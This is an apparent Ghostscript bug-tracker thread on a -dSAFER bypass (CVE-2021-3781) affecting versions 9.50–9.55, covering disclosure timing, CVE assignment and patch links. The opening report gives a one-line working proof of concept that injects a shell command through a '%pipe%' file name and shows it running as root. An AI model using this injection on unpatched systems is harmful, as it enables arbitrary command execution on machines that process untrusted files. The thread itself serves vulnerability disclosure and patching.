Hi, Here's a trivial -dSAFER bypass that allows to execute arbitrary shell commands in the 9.55 Git version: # bin/gs -dSAFER GPL Ghostscript GIT PRERELEASE 9.55.0 (2021-03-30) [...] GS>(%pipe%/tmp/&id)(w)file GS<1>sh: 1: /tmp/: Permission denied uid=0(root) gid=0(root) groups=0(root) Greetings Jens
We have a fix in testing at the moment. Since this exploit has apparently been doing the rounds since March and fully public since at least Aug 25th (so much for responsible disclosure!!), I'm inclined to release the fix publicly as soon we've completed testing and review. Any objections or counterarguments from interested parties?
Hi Chris, No objections. A fix should be released asap, imho. Please provide the commit, allowing source code fixes to be applied. Note: It looks like this issue was found in parallel by multiple researchers (easy find). Greetings Jens
(In reply to jens.a.mueller from comment #2) > Hi Chris, > > No objections. A fix should be released asap, imho. Please provide the > commit, allowing source code fixes to be applied. Note: It looks like this > issue was found in parallel by multiple researchers (easy find). > > Greetings > Jens Hi Jens, You at least had the courtesy to report it to us, which I greatly appreciate. And thanks for the feedback, too. Unless anyone else raises a convincing objection or there are any internal review issues, we'll hopefully publish the fix within a day or so.
Who will assign a CVE ? After a quick check it does not affect older ghostscript versions (I couldn't reproduce it on 9.27, but it's reproducible on 9.53)
9.50 to 9.54 (official releases) and 9.55 (from Git) are affected. The older 9.xx versions are not. @Cedric: I think it would be easiest if Red Hat requested a CVE ID (you're still with them, aren't you? :)). Probably much faster than if independent researchers try their luck with Mitre's CVE request form.
I already have a CVE request in with Mitre. Waiting on the assignment now.
(In reply to Chris Liddell (chrisl) from comment #6) > I already have a CVE request in with Mitre. Waiting on the assignment now. I guess I could cancel, if the general consensus points that way.
Even better. (Sorry, I did not know Artifex does request CVE IDs nowadays; Last I check in 2018, it was D.I.Y. ;))
(In reply to Chris Liddell (chrisl) from comment #7) > (In reply to Chris Liddell (chrisl) from comment #6) > > I already have a CVE request in with Mitre. Waiting on the assignment now. > > I guess I could cancel, if the general consensus points that way. ack, I am requesting a CVE then. It should be fairly quick
(In reply to Cedric from comment #9) > (In reply to Chris Liddell (chrisl) from comment #7) > > (In reply to Chris Liddell (chrisl) from comment #6) > > > I already have a CVE request in with Mitre. Waiting on the assignment now. > > > > I guess I could cancel, if the general consensus points that way. > ack, I am requesting a CVE then. > It should be fairly quick Okay, thanks Cedric. I've asked them to cancel my request.
FWIW, here is the patch we are testing/reviewing: https://git.ghostscript.com/?p=user/chrisl/ghostpdl.git;a=commitdiff;h=f424c74d1b98
CVE-2021-3781 has been assigned to this flaw
(In reply to Cedric from comment #12) > CVE-2021-3781 has been assigned to this flaw Thanks Cedric, very much appreciated!
I have pushed the above referenced fix: https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde Tomorrow (UK) morning, I will begin the process of prepping and testing a Ghostscript/GhostPDL release, with that commit included. We're aiming to have that release ready before the end of the month.
Is there an ETA on when we can make updates with this patch and the CVE number public? While there appears to be discussion in this bug of fixing it publicly, the bug isn't actually public...
(In reply to marc.deslauriers from comment #15) > Is there an ETA on when we can make updates with this patch and the CVE > number public? While there appears to be discussion in this bug of fixing it > publicly, the bug isn't actually public... As I outlined above, since the exploit has been "in wild" for at least 6 months, I pushed the patch to our public repo already - keeping the patch secret in this circumstance seemed pointless. I'll make this bug public before close of business (UK) on Friday - again, unless there are strong, convincing arguments not to (you can still link to it, making it public won't change the URL). In this specific case, I recommend rolling out the patch as soon as your respective procedures allow.
Chris, thanks for confirming.
(In reply to Salvatore Bonaccorso from comment #17) > Chris, thanks for confirming. Just to be clear (and this does not refer to or reflect on Jens, the OP): This was only because of the manner that this bug became public, and for security issues that are responsibility disclosed to us before being made public, we will establish a timetable (usually of a few days) for public disclosure of both the fix and the bug, in the bugzilla bug allowing any of the CC'ed parties to object or discuss it. That is our "normal" procedure.